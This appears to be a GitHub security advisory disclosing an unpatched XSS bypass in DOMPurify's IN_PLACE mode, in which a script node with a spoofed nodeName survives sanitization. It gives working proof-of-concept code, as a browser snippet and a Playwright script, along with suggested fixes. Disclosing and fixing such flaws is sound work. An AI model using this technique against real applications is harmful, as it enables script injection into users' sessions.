GitHub Advisoryadvisory · npm
GHSA-x4vx-rjvf-j5p4 DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects
LOW
Official page ↗
- Aliases
- CVE-2026-65901
- Ecosystem
- npm
- Packages
- dompurify
- Severity
- Low
- Weaknesses
- CWE-79
- Reviewed
- 2026-06-15
Affected packages
• npm dompurify: <= 3.4.6 (no fix yet)
Description
Summary
When `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.
Affected
• DOMPurify `3.4.6`
• Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes
• Verified attacker-controlled node sources:
• same-origin `iframe` → live node passed by reference
• same-origin `window.open()` popup → live node passed by reference
• same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place
Not affected:
• String-input `DOMPurify.sanitize(dirtyString)`
Vulnerability details
Code paths
[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:
```ts
const _sanitizeElements = function (currentNode: any): boolean {
...
if (_isClobbered(currentNode)) {
_forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID_TAGS[tagName] ||
(!(...) && !ALLOWED_TAGS[tagName])
) {
...
_forceRemove(currentNode);
return true;
}
...
};
```
For non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.
[B] — `_isClobbered` is `form`-specific:
```ts
const _isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};
```
The hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.
If the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.
For the verified primitive below:
• the real child node is ``
• its script text is attacker-controlled
• the observable `nodeName` is attacker-controlled and made to appear as `"DIV"`
• `_sanitizeElements` therefore classifies the real `` child as an allowed element
• the real `` survives in the sanitized tree and executes on insertion
This primitive survives:
• direct reference passing
• `document.adoptNode(node)` followed by `IN_PLACE`
It does not survive:
• `importNode`
• `cloneNode`
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
```html
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// window.__pwned = 1
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
```
(2) End-to-end — Playwright
```js
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top.__hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window.__hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();
```
Observed:
• Chromium / Firefox / WebKit
```js
{
version: '3.4.6',
output: 'top.__hits.push("script-fired")',
fired: true
}
```
Impact
Direct
XSS via retained real `` nodes inside attacker-supplied live DOM objects.
Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
```js
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);
```
If `foreignNode` is a hostile live DOM object whose real child is `` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
Indirect / second-order
• Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step
• Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
```ts
const tagName = transformCaseFunc(currentNode.nodeName);
```
on hostile live objects.
2. Generalize hostile-node detection beyond `form`.
The current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
• `nodeName`
• `attributes`
• `childNodes`
Either approach would close the verified primitive above.
Related
Alias · CVE (1)
- CVE-2026-65901 DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live… vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness